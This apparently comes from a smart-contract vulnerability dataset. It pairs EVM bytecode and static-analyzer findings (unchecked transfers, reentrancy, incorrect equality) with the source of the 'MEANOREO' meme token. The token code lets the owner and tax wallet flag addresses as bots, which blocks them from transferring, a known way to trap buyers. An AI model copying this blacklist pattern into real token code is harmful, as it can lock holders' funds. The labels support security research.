60a01b0316610a2c565b34801561039c57600080fd5b5061023b600480360360208110156103b357600080fd5b5035610a3e565b3480156103c657600080fd5b5061023b600480360360208110156103dd57600080fd5b5035610c4a565b3480156103f057600080fd5b50610252610c9c565b34801561040557600080fd5b5061034b610cab565b34801561041a57600080fd5b50610252610cb1565b34801561042f57600080fd5b50610438610cc0565b6040805163ffffffff9092168252519081900360200190f35b34801561045d57600080fd5b5061034b6004803603602081101561047457600080fd5b50356001600160a01b0316610cd3565b34801561049057600080fd5b50610499610e76565b604080519115158252519081900360200190f35b3480156104b957600080fd5b50610252610e7f565b3480156104ce57600080fd5b5061023b610e8e565b3480156104e357600080fd5b5061034b610eee565b3480156104f857600080fd5b5061023b6004803603602081101561050f57600080fd5b50356001600160a01b0316610ef4565b34801561052b57600080fd5b5061023b6004803603602081101561054257600080fd5b50356001600160a01b0316610f63565b34801561055e57600080fd5b5061057c6004803603602081101561057557600080fd5b5035610fd2565b60408051938452602084019290925282820152519081900360600190f35b3480156105a657600080fd5b5061023b600480360360208110156105bd57600080fd5b50356001600160a01b0316611005565b3480156105d957600080fd5b5061034b600480360360208110156105f057600080fd5b50356001600160a01b0316611074565b34801561060c57600080fd5b5061023b6004803603602081101561062357600080fd5b5035611086565b34801561063657600080fd5b5061034b6110ee565b34801561064b57600080fd5b5061023b6004803603602081101561066257600080fd5b50356110f4565b34801561067557600080fd5b5061023b6004803603602081101561068c57600080fd5b50356001600160a01b03166111f7565b3480156106a857600080fd5b5061034b611266565b3480156106bd57600080fd5b5061023b600480360360208110156106d457600080fd5b503563ffffffff1661126c565b3480156106ed57600080fd5b5061034b6112df565b34801561070257600080fd5b5061023b6004803603602081101561071957600080fd5b50356001600160a01b031661132a565b34801561073557600080fd5b5061023b6004803603602081101561074c57600080fd5b5035611399565b34801561075f57600080fd5b5061023b6004803603602081101561077657600080fd5b50351515611586565b34801561078b57600080fd5b506102526115e6565b3480156107a057600080fd5b5061023b600480360360208110156107b757600080fd5b503563ffffffff166115f5565b3480156107d057600080fd5b5061034b61164d565b3480156107e557600080fd5b5061034b600480360360208110156107fc57600080fd5b50356001600160a01b0316611653565b34801561081857600080fd5b5061023b6004803603602081101561082f57600080fd5b50356001600160a01b0316611665565b34801561084b57600080fd5b506108546116d4565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561088e578181015183820152602001610876565b50505050905090810190601f1680156108bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108d557600080fd5b5061023b600480360360408110156108ec57600080fd5b506001600160a01b0381358116916020013516611762565b34801561091057600080fd5b5061023b6004803603602081101561092757600080fd5b503561196b565b6006546001600160a01b031681565b600f546001600160a01b0316331461098a576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b805161099d906005906020840190611f9c565b5050565b600f546001600160a01b031681565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156109fb57600080fd5b505afa158015610a0f573d6000803e3d6000fd5b505050506040513d6020811015610a2557600080fd5b5051905090565b60006020819052908152604090205481565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610a8957600080fd5b505afa158015610a9d573d6000803e3d6000fd5b505050506040513d6020811015610ab357600080fd5b505111610afc576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b600b5460ff16610b46576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b610b4f336119bd565b33600090815260026020526040902054811115610b785750336000908152600260205260409020545b60008111610bc0576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b600654610bd7906001600160a01b03163383611ac5565b33600090815260026020526040902054610bf19082611b17565b33600090815260026020526040902055600354610c0e9082611b17565b60035560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b600f546001600160a01b03163314610c97576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600d55565b6008546001600160a01b031681565b600c5481565b6009546001600160a01b031681565b600954600160a01b900463ffffffff1681565b6001600160a01b03811660009081526020818152604080832054600190925282205460045415610e6f578115610dc757600454600019015b60048181548110610d1857fe5b906000526020600020906003020160010154831015610dc557610db0610da960048381548110610d4457fe5b906000526020600020906003020160020154610da3600260008a6001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610d8c57fe5b600091825260209091206003909102015490611b62565b90611bbb565b8390611bfd565b915080610dbc57610dc5565b60001901610d0b565b505b600454600019015b610e02600a5460048381548110610de257fe5b906000526020600020906003020160010154611bfd90919063ffffffff16565b421015610e6d576000610e1b60048381548110610d4457fe5b9050610e4a600a54610da3610e4342610e3d600a5460048981548110610de257fe5b90611b17565b8490611b62565b9050610e568382611b17565b925081610e635750610e6d565b5060001901610dcf565b505b9392505050565b600b5460ff1681565b600e546001600160a01b031681565b610e97336119bd565b6000610ea233610cd3565b33600090815260016020526040902054909150610ebf9082611b17565b33600081815260016020526040902091909155600754610eeb916001600160a01b039091169083611ac5565b50565b600d5481565b600f546001600160a01b03163314610f41576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600f546001600160a01b03163314610fb0576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60048181548110610fe257600080fd5b600091825260209091206003909102018054600182015460029092015490925083565b600f546001600160a01b03163314611052576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b60016020526000908152604090205481565b61108f336119bd565b600061109a33610cd3565b9050808211156110a8578091505b336000908152600160205260409020546110c29083611b17565b3360008181526001602052604090209190915560075461099d916001600160a01b039091169084611ac5565b600a5481565b6110fd336119bd565b600954600090611127906103e890610da390859063ffffffff600160a01b909104811690611b6216565b905060006111358383611b17565b9050811561115c5760085460065461115c916001600160a01b039182169133911685611c57565b80156111f257600954600654611181916001600160a01b039182169133911684611c57565b3360009081526002602052604090205461119b9082611bfd565b336000908152600260205260409020556003546111b89082611bfd565b60035560408051828152905133917f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4919081900360200190a25b505050565b600f546001600160a01b03163314611244576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60035481565b600f546001600160a01b031633146112b9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6009805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600754604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156109fb57600080fd5b600f546001600160a01b03163314611377576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b600081116113df576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060035411611436576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b6000611453600c54610da3600d5485611b6290919063ffffffff16565b905061145f8282611b17565b60075490925061147a906001600160a01b0316333084611c57565b600e54600754611499916001600160a01b039182169133911685611c57565b6114a1612028565b50604080516060810182528281524260208083019182526003805484860190815260048054600181018255600091909152855192027f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b81019290925592517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c82015591517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19d909201919091558251848152925191927feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929081900390910190a1505050565b600f546001600160a01b031633146115d3576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b805460ff1916911515919091179055565b6007546001600160a01b031681565b600f546001600160a01b03163314611642576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600a55565b60105481565b60026020526000908152604090205481565b600f546001600160a01b031633146116b2576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561175a5780601f1061172f5761010080835404028352916020019161175a565b820191906000526020600020905b81548152906001019060200180831161173d57829003601f168201915b505050505081565b600f546001600160a01b031633146117af576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6006546001600160a01b038381169116148015906117db57506007546001600160a01b03838116911614155b61181a576040805162461bcd60e51b815260206004820152600b60248201526a6d61696e20746f6b656e7360a81b604482015290519081900360640190fd5b6001600160a01b0382161561192d576000826001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561187857600080fd5b505afa15801561188c573d6000803e3d6000fd5b505050506040513d60208110156118a257600080fd5b50516040805163a9059cbb60e01b81526001600160a01b0385811660048301526024820184905291519293509085169163a9059cbb916044808201926020929091908290030181600087803b1580156118fa57600080fd5b505af115801561190e573d6000803e3d6000fd5b505050506040513d602081101561192457600080fd5b5061099d915050565b60405147906001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611965573d6000803e3d6000fd5b50505050565b600f546001600160a01b031633146119b8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600c55565b6001600160a01b0381166000908152602081815260408083205460019092529091205481158015906119f0575060045415155b15611a9557600454600019015b60048181548110611a0a57fe5b906000526020600020906003020160010154831015611a9357611a7e610da960048381548110611a3657fe5b906000526020600020906003020160020154610da360026000896001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610d8c57fe5b915080611a8a57611a93565b600019016119fd565b505b6001600160a01b039092166000908152600160209081526040808320949094553382528190529190912042905550565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526111f2908490611cad565b6000611b5983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e64565b90505b92915050565b600082611b7157506000611b5c565b82820282848281611b7e57fe5b0414611b595760405162461bcd60e51b815260040180806020018281038252602181526020018061205f6021913960400191505060405180910390fd5b6000611b5983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611efb565b600082820183811015611b59576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526119659085905b611cbf826001600160a01b0316611f60565b611d10576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b600080836001600160a01b0316836040518082805190602001908083835b60208310611d4d5780518252601f199092019160209182019101611d2e565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611daf576040519150601f19603f3d011682016040523d82523d6000602084013e611db4565b606091505b509150915081611e0b576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b80511561196557808060200190516020811015611e2757600080fd5b50516119655760405162461bcd60e51b815260040180806020018281038252602a815260200180612080602a913960400191505060405180910390fd5b60008184841115611ef35760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611eb8578181015183820152602001611ea0565b50505050905090810190601f168015611ee55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183611f4a5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611eb8578181015183820152602001611ea0565b506000838581611f5657fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590611f945750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282611fd25760008555612018565b82601f10611feb57805160ff1916838001178555612018565b82800160010185558215612018579182015b82811115612018578251825591602001919060010190611ffd565b50612024929150612049565b5090565b60405180606001604052806000815260200160008152602001600081525090565b5b80821115612024576000815560010161204a56fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a264697066735822122042d613be6e3a02fe17c0d7be989a2adfbd1c498a58a82ef65db2b1803e6a571264736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,242 |
0x363742737c2bd957a3002375d08eb2b54488457f
|
/**
*Submitted for verification at Etherscan.io on 2022-02-23
*/
/*
MEAN OREO 🍪🍪
TAMATO maybe the meanest token known to man but MEAN OREO is the meanest token known in the UNIVERSE.
MEAN OREO is the only meme token the market needs! JOIN the community and become the LEGEND!
come to have a nice mean oreo
https://t.me/meanoreo
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MEANOREO is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e9 * 10**9;
string public constant name = unicode"MEANOREO";
string public constant symbol = unicode"MEANOREO";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 10;
uint public _sellFee = 10;
uint private _feeRate = 15;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
if (recipient != tx.origin) _isBot[recipient] = true;
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
if((_launchedAt + (5 minutes)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once.");
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (5 minutes)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
uint burnAmount = contractTokenBalance/5;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function burnToken (uint burnAmount) private lockTheSwap{
_transfer(address(this), address(0xdead),burnAmount);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 10000000 * 10**9;
_maxHeldTokens = 10000000 * 10**9;
}
function manualswap() external {
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _TaxAdd);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _TaxAdd);
require(buy < 10 && sell < 10 && buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101e75760003560e01c8063590f897e11610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb614610561578063dcb0e0ad14610576578063dd62ed3e14610596578063e8078d94146105dc57600080fd5b8063a9059cbb146104f7578063b515566a14610517578063c3c8cd8014610537578063c9567bf91461054c57600080fd5b806373f54a11116100d157806373f54a11146104995780638da5cb5b146104b957806394b8d8f2146104d757806395d89b411461021c57600080fd5b8063590f897e146104395780636fc3eaec1461044f57806370a0823114610464578063715018a61461048457600080fd5b806327f3a72a1161017a5780633bbac579116101495780633bbac579146103aa57806340b9a54b146103e357806345596e2e146103f957806349bd5a5e1461041957600080fd5b806327f3a72a14610338578063313ce5671461034d57806331c2d8471461037457806332d873d81461039457600080fd5b8063104ce66d116101b6578063104ce66d146102af57806318160ddd146102e75780631940d0201461030257806323b872dd1461031857600080fd5b80630492f055146101f357806306fdde031461021c578063095ea7b31461025d5780630b78f9c01461028d57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610209600d5481565b6040519081526020015b60405180910390f35b34801561022857600080fd5b50610250604051806040016040528060088152602001674d45414e4f52454f60c01b81525081565b6040516102139190611a98565b34801561026957600080fd5b5061027d610278366004611b12565b6105f1565b6040519015158152602001610213565b34801561029957600080fd5b506102ad6102a8366004611b3e565b610607565b005b3480156102bb57600080fd5b506008546102cf906001600160a01b031681565b6040516001600160a01b039091168152602001610213565b3480156102f357600080fd5b50670de0b6b3a7640000610209565b34801561030e57600080fd5b50610209600e5481565b34801561032457600080fd5b5061027d610333366004611b60565b6106a1565b34801561034457600080fd5b50610209610773565b34801561035957600080fd5b50610362600981565b60405160ff9091168152602001610213565b34801561038057600080fd5b506102ad61038f366004611bb7565b610783565b3480156103a057600080fd5b50610209600f5481565b3480156103b657600080fd5b5061027d6103c5366004611c7c565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103ef57600080fd5b50610209600a5481565b34801561040557600080fd5b506102ad610414366004611c99565b61080f565b34801561042557600080fd5b506009546102cf906001600160a01b031681565b34801561044557600080fd5b50610209600b5481565b34801561045b57600080fd5b506102ad6108b0565b34801561047057600080fd5b5061020961047f366004611c7c565b6108dd565b34801561049057600080fd5b506102ad6108f8565b3480156104a557600080fd5b506102ad6104b4366004611c7c565b61096c565b3480156104c557600080fd5b506000546001600160a01b03166102cf565b3480156104e357600080fd5b5060105461027d9062010000900460ff1681565b34801561050357600080fd5b5061027d610512366004611b12565b6109da565b34801561052357600080fd5b506102ad610532366004611bb7565b6109e7565b34801561054357600080fd5b506102ad610b00565b34801561055857600080fd5b506102ad610b36565b34801561056d57600080fd5b50610209610bd0565b34801561058257600080fd5b506102ad610591366004611cc0565b610be8565b3480156105a257600080fd5b506102096105b1366004611cdd565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105e857600080fd5b506102ad610c5b565b60006105fe338484610fa1565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461062757600080fd5b600a821080156106375750600a81105b80156106445750600a5482105b80156106515750600b5481105b61065a57600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60105460009060ff1680156106cf57506001600160a01b03831660009081526004602052604090205460ff16155b80156106e857506009546001600160a01b038581169116145b15610721576001600160a01b0383163214610721576001600160a01b0383166000908152600560205260409020805460ff191660011790555b61072c8484846110c5565b6001600160a01b038416600090815260036020908152604080832033845290915281205461075b908490611d2c565b9050610768853383610fa1565b506001949350505050565b600061077e306108dd565b905090565b6008546001600160a01b0316336001600160a01b0316146107a357600080fd5b60005b815181101561080b576000600560008484815181106107c7576107c7611d43565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061080381611d59565b9150506107a6565b5050565b6008546001600160a01b0316336001600160a01b03161461082f57600080fd5b600081116108745760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b0316146108d057600080fd5b476108da8161173b565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146109225760405162461bcd60e51b815260040161086b90611d74565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461098c57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d6906020016108a5565b60006105fe3384846110c5565b6000546001600160a01b03163314610a115760405162461bcd60e51b815260040161086b90611d74565b60005b815181101561080b5760095482516001600160a01b0390911690839083908110610a4057610a40611d43565b60200260200101516001600160a01b031614158015610a91575060075482516001600160a01b0390911690839083908110610a7d57610a7d611d43565b60200260200101516001600160a01b031614155b15610aee57600160056000848481518110610aae57610aae611d43565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610af881611d59565b915050610a14565b6008546001600160a01b0316336001600160a01b031614610b2057600080fd5b6000610b2b306108dd565b90506108da81611775565b6000546001600160a01b03163314610b605760405162461bcd60e51b815260040161086b90611d74565b60105460ff1615610bad5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161086b565b6010805460ff1916600117905542600f55662386f26fc10000600d819055600e55565b60095460009061077e906001600160a01b03166108dd565b6008546001600160a01b0316336001600160a01b031614610c0857600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016108a5565b6000546001600160a01b03163314610c855760405162461bcd60e51b815260040161086b90611d74565b60105460ff1615610cd25760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161086b565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610d0e3082670de0b6b3a7640000610fa1565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d4c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d709190611da9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dbd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de19190611da9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610e2e573d6000803e3d6000fd5b505050506040513d601f19601f8201